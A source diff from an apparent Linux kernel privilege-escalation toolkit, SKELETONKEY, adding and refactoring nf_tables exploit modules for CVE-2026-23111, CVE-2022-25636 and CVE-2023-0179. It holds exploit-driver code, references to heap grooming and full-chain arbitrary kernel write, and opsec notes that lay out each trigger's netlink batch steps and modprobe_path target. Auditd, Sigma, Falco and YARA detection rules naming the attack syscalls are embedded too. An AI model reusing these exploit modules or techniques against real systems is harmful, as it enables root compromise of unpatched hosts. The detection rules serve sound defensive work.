|
||||
fprintf(stderr, "[i] nft_catchall: nft_chain/cg-256 active: %ld → %ld\n",
|
||||
before, after);
|
||||
|
||||
free(batch);
|
||||
close(sock);
|
||||
_exit(100); /* honest: trigger attempted, R/W not completed */
|
||||
}
|
||||
|
||||
int status;
|
||||
waitpid(child, &status, 0);
|
||||
if (!WIFEXITED(status)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] nft_catchall: child died by signal %d — the "
|
||||
"abort-path UAF likely fired (KASAN oops can manifest "
|
||||
"as a child signal)\n", WTERMSIG(status));
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
int rc = WEXITSTATUS(status);
|
||||
if (rc == 100) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] nft_catchall: abort-path trigger attempted "
|
||||
"(catch-all GOTO map + aborting batch). The full kernel "
|
||||
"R/W + modprobe_path ROP is NOT bundled, and this "
|
||||
"trigger is reconstructed from public analysis, not "
|
||||
"VM-verified — honest EXPLOIT_FAIL.\n");
|
||||
fprintf(stderr, "[i] nft_catchall: to complete: port the FuzzingLabs / "
|
||||
"public PoC leak + cross-cache groom + modprobe_path "
|
||||
"overwrite for CVE-2026-23111.\n");
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[-] nft_catchall: trigger setup failed (child rc=%d)\n", rc);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
static skeletonkey_result_t nft_catchall_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] nft_catchall: Linux-only module "
|
||||
"(nf_tables catch-all abort UAF via nfnetlink) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t nft_catchall_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] nft_catchall: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ----- Embedded detection rules ----- */
|
||||
static const char nft_catchall_auditd[] =
|
||||
"# nf_tables catch-all abort UAF (CVE-2026-23111) — auditd rules\n"
|
||||
"# Canonical shape: unprivileged unshare(CLONE_NEWUSER|CLONE_NEWNET)\n"
|
||||
"# then nfnetlink batches building a verdict map with a catch-all\n"
|
||||
"# GOTO element and an aborting transaction. Legit userns+nft (docker\n"
|
||||
"# rootless, firewalld) will also trip — tune per environment.\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -F auid>=1000 -F auid!=4294967295 -k skeletonkey-nft-catchall\n"
|
||||
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k skeletonkey-nft-catchall-priv\n";
|
||||
|
||||
static const char nft_catchall_sigma[] =
|
||||
"title: Possible CVE-2026-23111 nf_tables catch-all abort UAF\n"
|
||||
"id: 3e8a1c47-skeletonkey-nft-catchall\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects an unprivileged user creating a user namespace then driving\n"
|
||||
" nftables. CVE-2026-23111 abuses an inverted condition in\n"
|
||||
" nft_map_catchall_activate on transaction abort to UAF a chain still\n"
|
||||
" referenced by a catch-all GOTO verdict. False positives: rootless\n"
|
||||
" containers / firewalld using userns + nft. A previously-unprivileged\n"
|
||||
" process gaining euid 0 is the smoking gun.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" userns: {type: 'SYSCALL', syscall: 'unshare', a0: 0x10000000}\n"
|
||||
" uid0: {type: 'SYSCALL', syscall: 'setresuid', auid|expression: '!= 0'}\n"
|
||||
" condition: userns and uid0\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.23111]\n";
|
||||
|
||||
static const char nft_catchall_falco[] =
|
||||
"- rule: nf_tables catch-all abort UAF batch by non-root (CVE-2026-23111)\n"
|
||||
" desc: |\n"
|
||||
" Non-root sendmsg on NETLINK_NETFILTER inside a user namespace,\n"
|
||||
" delivering nfnetlink batches that build a verdict map with a\n"
|
||||
" catch-all GOTO element and then abort a transaction. CVE-2026-23111\n"
|
||||
" nft_map_catchall_activate use-after-free. False positives: rootless\n"
|
||||
" container / firewall tooling.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendmsg and fd.sockfamily = AF_NETLINK and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" nfnetlink batch from non-root (possible CVE-2026-23111 catch-all UAF)\n"
|
||||
" (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2026.23111]\n";
|
||||
|
||||
const struct skeletonkey_module nft_catchall_module = {
|
||||
.name = "nft_catchall",
|
||||
.cve = "CVE-2026-23111",
|
||||
.summary = "nf_tables nft_map_catchall_activate abort-path UAF (inverted condition) → chain UAF via catch-all GOTO map",
|
||||
.family = "nf_tables",
|
||||
.kernel_range = "5.13 <= K (catch-all elems); fixed 6.1.164 / 6.12.73 / 6.18.10 (Debian backports of commit f41c5d1); 7.0+ inherits; 5.10 branch still unfixed",
|
||||
.detect = nft_catchall_detect,
|
||||
.exploit = nft_catchall_exploit,
|
||||
.mitigate = NULL, /* mitigation: upgrade kernel; OR sysctl kernel.unprivileged_userns_clone=0 */
|
||||
.cleanup = NULL, /* trigger runs in a throwaway userns+netns; no host artifacts */
|
||||
.detect_auditd = nft_catchall_auditd,
|
||||
.detect_sigma = nft_catchall_sigma,
|
||||
.detect_yara = NULL, /* behavioural (syscall/netlink) bug — no file artifact */
|
||||
.detect_falco = nft_catchall_falco,
|
||||
.opsec_notes = "detect() consults the shared host fingerprint for the kernel version (Debian backports 6.1.164/6.12.73/6.18.10) and additionally requires unprivileged user_ns clone — a vulnerable kernel with userns locked down (apparmor_restrict_unprivileged_userns / sysctl 0) is PRECOND_FAIL. exploit() forks an isolated child that enters unshare(CLONE_NEWUSER|CLONE_NEWNET), opens NETLINK_NETFILTER, builds a verdict map (NFT_SET_MAP) with a catch-all element (NFT_SET_ELEM_CATCHALL) carrying a GOTO verdict to a chain, then sends an aborting batch to drive nft_map_catchall_activate over the active catch-all element; it observes nft_chain/kmalloc-cg-256 slabinfo and returns EXPLOIT_FAIL (primitive-only; reconstructed trigger, not VM-verified). The per-kernel leak + arbitrary-R/W + modprobe_path ROP is NOT bundled. Audit-visible via unshare + socket(NETLINK_NETFILTER) + sendmsg batches; KASAN double-free oops on vulnerable kernels, silent otherwise. No persistent files (throwaway namespaces).",
|
||||
.arch_support = "x86_64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_nft_catchall(void)
|
||||
{
|
||||
skeletonkey_register(&nft_catchall_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* nft_catchall_cve_2026_23111 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef NFT_CATCHALL_SKELETONKEY_MODULES_H
|
||||
#define NFT_CATCHALL_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module nft_catchall_module;
|
||||
|
||||
#endif
|
||||
@@ -43,16 +43,21 @@
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdint.h>
|
||||
#include <sched.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
@@ -72,6 +77,7 @@
|
||||
#include <linux/netfilter.h>
|
||||
#include <linux/netfilter/nfnetlink.h>
|
||||
#include <linux/netfilter/nf_tables.h>
|
||||
#include "../../core/nft_compat.h"
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Kernel range table — fixes per branch.
|
||||
@@ -99,19 +105,6 @@ static const struct kernel_range nft_fwd_dup_range = {
|
||||
* Probes.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
static int can_unshare_userns(void)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return -1;
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
|
||||
_exit(1);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
|
||||
static bool nf_tables_loaded(void)
|
||||
{
|
||||
FILE *f = fopen("/proc/modules", "r");
|
||||
@@ -127,45 +120,43 @@ static bool nf_tables_loaded(void)
|
||||
|
||||
static skeletonkey_result_t nft_fwd_dup_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] nft_fwd_dup: could not parse kernel version\n");
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json) fprintf(stderr, "[!] nft_fwd_dup: host fingerprint missing kernel version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* The offload code path only exists from 5.4 onward. Anything
|
||||
* older predates the bug. */
|
||||
if (v.major < 5 || (v.major == 5 && v.minor < 4)) {
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 4, 0)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] nft_fwd_dup: kernel %s predates the bug "
|
||||
"(nft offload hook introduced in 5.4)\n", v.release);
|
||||
"(nft offload hook introduced in 5.4)\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&nft_fwd_dup_range, &v);
|
||||
bool patched = kernel_range_is_patched(&nft_fwd_dup_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] nft_fwd_dup: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] nft_fwd_dup: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns();
|
||||
bool userns_ok = ctx->host->unprivileged_userns_allowed;
|
||||
bool nft_loaded = nf_tables_loaded();
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] nft_fwd_dup: kernel %s is in the vulnerable range\n",
|
||||
v.release);
|
||||
v->release);
|
||||
fprintf(stderr, "[i] nft_fwd_dup: unprivileged user_ns+net_ns clone: %s\n",
|
||||
userns_ok == 1 ? "ALLOWED" :
|
||||
userns_ok == 0 ? "DENIED" :
|
||||
"could not test");
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
fprintf(stderr, "[i] nft_fwd_dup: nf_tables module currently loaded: %s\n",
|
||||
nft_loaded ? "yes" : "no (will autoload)");
|
||||
}
|
||||
|
||||
if (userns_ok == 0) {
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] nft_fwd_dup: kernel vulnerable but user_ns clone "
|
||||
"denied → unprivileged path unreachable\n");
|
||||
@@ -585,7 +576,6 @@ static int bring_lo_up(void)
|
||||
return 0;
|
||||
}
|
||||
|
||||
#ifdef __linux__
|
||||
static size_t build_trigger_batch(uint8_t *batch, uint32_t *seq)
|
||||
{
|
||||
size_t off = 0;
|
||||
@@ -596,7 +586,6 @@ static size_t build_trigger_batch(uint8_t *batch, uint32_t *seq)
|
||||
put_batch_end(batch, &off, (*seq)++);
|
||||
return off;
|
||||
}
|
||||
#endif
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* --full-chain arb-write context. The technique:
|
||||
@@ -617,8 +606,6 @@ static size_t build_trigger_batch(uint8_t *batch, uint32_t *seq)
|
||||
* mismatches as SKELETONKEY_EXPLOIT_FAIL rather than fake success.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#define SPRAY_QUEUES_ARB 32
|
||||
|
||||
struct fwd_arb_ctx {
|
||||
@@ -721,8 +708,6 @@ static int nft_fwd_dup_arb_write(uintptr_t kaddr,
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Exploit driver.
|
||||
* ------------------------------------------------------------------ */
|
||||
@@ -735,7 +720,8 @@ static skeletonkey_result_t nft_fwd_dup_exploit(const struct skeletonkey_ctx *ct
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
/* Gate 1: already root? */
|
||||
if (geteuid() == 0) {
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] nft_fwd_dup: already running as root\n");
|
||||
return SKELETONKEY_OK;
|
||||
@@ -748,11 +734,6 @@ static skeletonkey_result_t nft_fwd_dup_exploit(const struct skeletonkey_ctx *ct
|
||||
return pre;
|
||||
}
|
||||
|
||||
#ifndef __linux__
|
||||
fprintf(stderr, "[-] nft_fwd_dup: linux-only exploit; non-linux build\n");
|
||||
(void)ctx;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#else
|
||||
if (!ctx->json) {
|
||||
if (ctx->full_chain) {
|
||||
fprintf(stderr, "[*] nft_fwd_dup: --full-chain — trigger + OOB-write "
|
||||
@@ -946,7 +927,6 @@ static skeletonkey_result_t nft_fwd_dup_exploit(const struct skeletonkey_ctx *ct
|
||||
fprintf(stderr, "[-] nft_fwd_dup: unexpected child rc=%d\n", rc);
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
#endif /* __linux__ */
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
@@ -958,7 +938,6 @@ static skeletonkey_result_t nft_fwd_dup_cleanup(const struct skeletonkey_ctx *ct
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] nft_fwd_dup: cleaning up sysv queues + log\n");
|
||||
}
|
||||
#ifdef __linux__
|
||||
/* Best-effort drain of any leftover msg queues with IPC_PRIVATE
|
||||
* key owned by us. SysV doesn't enumerate by key, but msgctl
|
||||
* IPC_STAT walks /proc/sysvipc/msg to find them. */
|
||||
@@ -979,13 +958,38 @@ static skeletonkey_result_t nft_fwd_dup_cleanup(const struct skeletonkey_ctx *ct
|
||||
}
|
||||
fclose(f);
|
||||
}
|
||||
#endif
|
||||
if (unlink("/tmp/skeletonkey-nft_fwd_dup.log") < 0 && errno != ENOENT) {
|
||||
/* harmless */
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: nf_tables / NETLINK_NETFILTER / SysV msg_msg
|
||||
* groom — all Linux-only kernel surface. Stub out so the module still
|
||||
* registers and the top-level `make` completes on macOS/BSD dev boxes. */
|
||||
static skeletonkey_result_t nft_fwd_dup_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] nft_fwd_dup: Linux-only module "
|
||||
"(nf_tables HW-offload OOB) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t nft_fwd_dup_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] nft_fwd_dup: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t nft_fwd_dup_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Embedded detection rules.
|
||||
* ------------------------------------------------------------------ */
|
||||
@@ -1024,6 +1028,36 @@ static const char nft_fwd_dup_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2022.25636]\n";
|
||||
|
||||
static const char nft_fwd_dup_yara[] =
|
||||
"rule nft_fwd_dup_cve_2022_25636 : cve_2022_25636 kernel_oob_write\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2022-25636\"\n"
|
||||
" description = \"nft_fwd/dup actions OOB kmalloc-512 spray tag and log\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag = \"SKELETONKEY_FWD\" ascii\n"
|
||||
" $log = \"/tmp/skeletonkey-nft_fwd_dup.log\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char nft_fwd_dup_falco[] =
|
||||
"- rule: nft_fwd_dup OOB-write batch by non-root\n"
|
||||
" desc: |\n"
|
||||
" Non-root nfnetlink batch creating a netdev table with\n"
|
||||
" HW_OFFLOAD chain containing >15 immediate(NF_ACCEPT)\n"
|
||||
" expressions + 1 fwd. The offload walk overruns the action\n"
|
||||
" entries[] array. CVE-2022-25636.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendmsg and fd.sockfamily = AF_NETLINK and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" nfnetlink HW_OFFLOAD batch from non-root\n"
|
||||
" (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2022.25636]\n";
|
||||
|
||||
const struct skeletonkey_module nft_fwd_dup_module = {
|
||||
.name = "nft_fwd_dup",
|
||||
.cve = "CVE-2022-25636",
|
||||
@@ -1037,8 +1071,10 @@ const struct skeletonkey_module nft_fwd_dup_module = {
|
||||
.cleanup = nft_fwd_dup_cleanup,
|
||||
.detect_auditd = nft_fwd_dup_auditd,
|
||||
.detect_sigma = nft_fwd_dup_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = nft_fwd_dup_yara,
|
||||
.detect_falco = nft_fwd_dup_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + nfnetlink batch (NEWTABLE netdev + NEWCHAIN HW_OFFLOAD + NEWRULE with 16 immediate(NF_ACCEPT) + 1 fwd). Offload hook walks the rule advertising num_actions+=16 but allocates only the original-actions size -> OOB write at entries[16] into adjacent kmalloc-512. msg_msg groom tagged 'SKELETONKEY_FWD'. Writes /tmp/skeletonkey-nft_fwd_dup.log. Audit-visible via unshare + socket(NETLINK_NETFILTER) + sendmsg + ioctl(SIOCGIFFLAGS/SIOCSIFFLAGS loopback) + msgsnd. Dmesg: KASAN or silent. Cleanup callback drains IPC queues and unlinks log.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_nft_fwd_dup(void)
|
||||
|
||||
@@ -49,16 +49,21 @@
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdint.h>
|
||||
#include <sched.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
@@ -71,13 +76,11 @@
|
||||
#include <sys/mman.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <arpa/inet.h>
|
||||
|
||||
#ifdef __linux__
|
||||
#include <linux/netlink.h>
|
||||
#include <linux/netfilter.h>
|
||||
#include <linux/netfilter/nfnetlink.h>
|
||||
#include <linux/netfilter/nf_tables.h>
|
||||
#endif
|
||||
#include "../../core/nft_compat.h"
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Kernel-range table
|
||||
@@ -87,7 +90,7 @@ static const struct kernel_patched_from nft_payload_patched_branches[] = {
|
||||
{4, 14, 302}, /* 4.14.x */
|
||||
{4, 19, 269}, /* 4.19.x */
|
||||
{5, 4, 229}, /* 5.4.x */
|
||||
{5, 10, 163}, /* 5.10.x */
|
||||
{5, 10, 162}, /* 5.10.x (harmonised with Debian bullseye fix-version) */
|
||||
{5, 15, 88}, /* 5.15.x */
|
||||
{6, 1, 6}, /* 6.1.x */
|
||||
{6, 2, 0}, /* mainline fix in 6.2-rc4 */
|
||||
@@ -103,19 +106,6 @@ static const struct kernel_range nft_payload_range = {
|
||||
* Preconditions probe
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
static int can_unshare_userns(void)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return -1;
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER) == 0) _exit(0);
|
||||
_exit(1);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
|
||||
static bool nf_tables_loaded(void)
|
||||
{
|
||||
FILE *f = fopen("/proc/modules", "r");
|
||||
@@ -131,46 +121,44 @@ static bool nf_tables_loaded(void)
|
||||
|
||||
static skeletonkey_result_t nft_payload_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] nft_payload: could not parse kernel version\n");
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json) fprintf(stderr, "[!] nft_payload: host fingerprint missing kernel version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug introduced with the set-payload extension in 5.4. Anything
|
||||
* below 5.4 predates the affected codepath entirely. */
|
||||
if (v.major < 5 || (v.major == 5 && v.minor < 4)) {
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 4, 0)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] nft_payload: kernel %s predates the bug "
|
||||
"(set-payload extension landed in 5.4)\n",
|
||||
v.release);
|
||||
v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&nft_payload_range, &v);
|
||||
bool patched = kernel_range_is_patched(&nft_payload_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] nft_payload: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] nft_payload: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns();
|
||||
bool userns_ok = ctx->host->unprivileged_userns_allowed;
|
||||
bool nft_loaded = nf_tables_loaded();
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] nft_payload: kernel %s is in the vulnerable range\n",
|
||||
v.release);
|
||||
v->release);
|
||||
fprintf(stderr, "[i] nft_payload: unprivileged user_ns clone: %s\n",
|
||||
userns_ok == 1 ? "ALLOWED" :
|
||||
userns_ok == 0 ? "DENIED" :
|
||||
"could not test");
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
fprintf(stderr, "[i] nft_payload: nf_tables module currently loaded: %s\n",
|
||||
nft_loaded ? "yes" : "no (will autoload on first nft use)");
|
||||
}
|
||||
|
||||
if (userns_ok == 0) {
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] nft_payload: kernel vulnerable but user_ns "
|
||||
"clone denied → unprivileged exploit unreachable\n");
|
||||
@@ -187,8 +175,6 @@ static skeletonkey_result_t nft_payload_detect(const struct skeletonkey_ctx *ctx
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* userns + netns entry: become root in the new user_ns so subsequent
|
||||
* netlink writes carry CAP_NET_ADMIN over our private net_ns.
|
||||
@@ -801,8 +787,6 @@ static int nft_payload_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Exploit body.
|
||||
* ------------------------------------------------------------------ */
|
||||
@@ -814,7 +798,8 @@ static skeletonkey_result_t nft_payload_exploit(const struct skeletonkey_ctx *ct
|
||||
"exploit code can crash the kernel\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] nft_payload: already running as root\n");
|
||||
return SKELETONKEY_OK;
|
||||
@@ -838,11 +823,6 @@ static skeletonkey_result_t nft_payload_exploit(const struct skeletonkey_ctx *ct
|
||||
}
|
||||
}
|
||||
|
||||
#ifndef __linux__
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] nft_payload: linux-only exploit; non-linux build\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#else
|
||||
/* --- --full-chain path: resolve offsets in parent before doing
|
||||
* anything destructive. */
|
||||
if (ctx->full_chain) {
|
||||
@@ -1074,7 +1054,6 @@ static skeletonkey_result_t nft_payload_exploit(const struct skeletonkey_ctx *ct
|
||||
fprintf(stderr, "[-] nft_payload: unexpected child rc=%d\n", rc);
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
#endif /* __linux__ */
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
@@ -1092,6 +1071,32 @@ static skeletonkey_result_t nft_payload_cleanup(const struct skeletonkey_ctx *ct
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: nf_tables / NETLINK_NETFILTER / SysV msg_msg
|
||||
* groom — all Linux-only kernel surface. Stub out so the module still
|
||||
* registers and the top-level `make` completes on macOS/BSD dev boxes. */
|
||||
static skeletonkey_result_t nft_payload_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] nft_payload: Linux-only module "
|
||||
"(nf_tables regset OOB) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t nft_payload_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] nft_payload: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t nft_payload_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Detection rule corpus.
|
||||
* ------------------------------------------------------------------ */
|
||||
@@ -1134,6 +1139,35 @@ static const char nft_payload_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2023.0179]\n";
|
||||
|
||||
static const char nft_payload_yara[] =
|
||||
"rule nft_payload_cve_2023_0179 : cve_2023_0179 kernel_oob_read_write\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2023-0179\"\n"
|
||||
" description = \"nft_payload OOB-via-verdict-index breadcrumb log\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $log = \"/tmp/skeletonkey-nft_payload.log\" ascii\n"
|
||||
" condition:\n"
|
||||
" $log\n"
|
||||
"}\n";
|
||||
|
||||
static const char nft_payload_falco[] =
|
||||
"- rule: nft_payload OOB via verdict-code index by non-root\n"
|
||||
" desc: |\n"
|
||||
" Non-root nfnetlink batch with an oversized NFTA_SET_DESC\n"
|
||||
" + NEWSETELEM whose NFTA_PAYLOAD_SREG uses attacker-\n"
|
||||
" controlled verdict code as an index into regs->data[].\n"
|
||||
" CVE-2023-0179.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendmsg and fd.sockfamily = AF_NETLINK and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" nfnetlink payload batch from non-root\n"
|
||||
" (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2023.0179]\n";
|
||||
|
||||
const struct skeletonkey_module nft_payload_module = {
|
||||
.name = "nft_payload",
|
||||
